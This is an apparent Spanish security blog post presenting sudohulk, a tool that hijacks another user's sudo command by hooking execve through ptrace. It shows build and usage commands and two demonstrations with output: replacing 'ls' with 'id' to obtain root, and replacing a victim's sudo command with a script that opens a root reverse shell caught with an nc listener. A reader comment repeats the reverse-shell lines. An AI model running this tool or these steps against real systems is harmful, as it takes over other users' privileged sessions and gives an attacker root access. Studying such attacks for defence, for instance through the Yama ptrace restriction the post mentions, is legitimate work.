Intentando escalar privilegios cambiando el comando de sudo con sudohulk

sudohulk es una herramienta que es capaz de cambiar el comando sudo lanzado por otro usuario en otra shell (bash o zsh) hookeando la syscall execve mediante ptrace. Soporta las arquitecturas x86_64, x86 y arm.

Instalación

$ git clone https://github.com/hc0d3r/sudohulk.git
$ cd sudohulk
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o

Uso

$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
   -q quit when change a command
   -d run in background
   -k keep original command line (appending to new)

Ejemplo: cambio de comando 'ls' por 'id' al ejecutar sudo en sesión actual

$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)

Ejemplo: cambio de comando 'ls' por shell reversa con 'nc' en la sesión de la víctima

malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610

[*] new process created: 6887
[+] (6887) sys_execve detected >>> '/usr/bin/sudo'
[+] sudo detected
[*] overwriting parameters
[-] exiting ...

victima@host:~$ sudo ls
Android      Escritorio        MEGAsync           peda           stopfw.sh

malicioso@host:~$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866
id
uid=0(root) gid=0(root) grupos=0(root)


Demo video

NOTA: muchas distros que usan LSM (Linux Security Modules) como Yama implementan medidas de control sobre ptrace (bloquean las llamadas de los procesos que no sean hijos). Para que esta herramienta funcione, por ej. en las últimas versiones de Ubuntu, necesitaremos el sysctl /proc/sys/kernel/yama/ptrace_scope a 0 con lo cual la herramienta dejaría de ser efectiva. En otras distribuciones como Kali ya está desactivado por defecto.

Proyecto: https://github.com/hc0d3r/sudohulk

Comentarios

  1. cambio de comando 'ls' por shell reversa con 'nc'

    malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
    starting attach pid: 6610

    ResponderEliminar

Publicar un comentario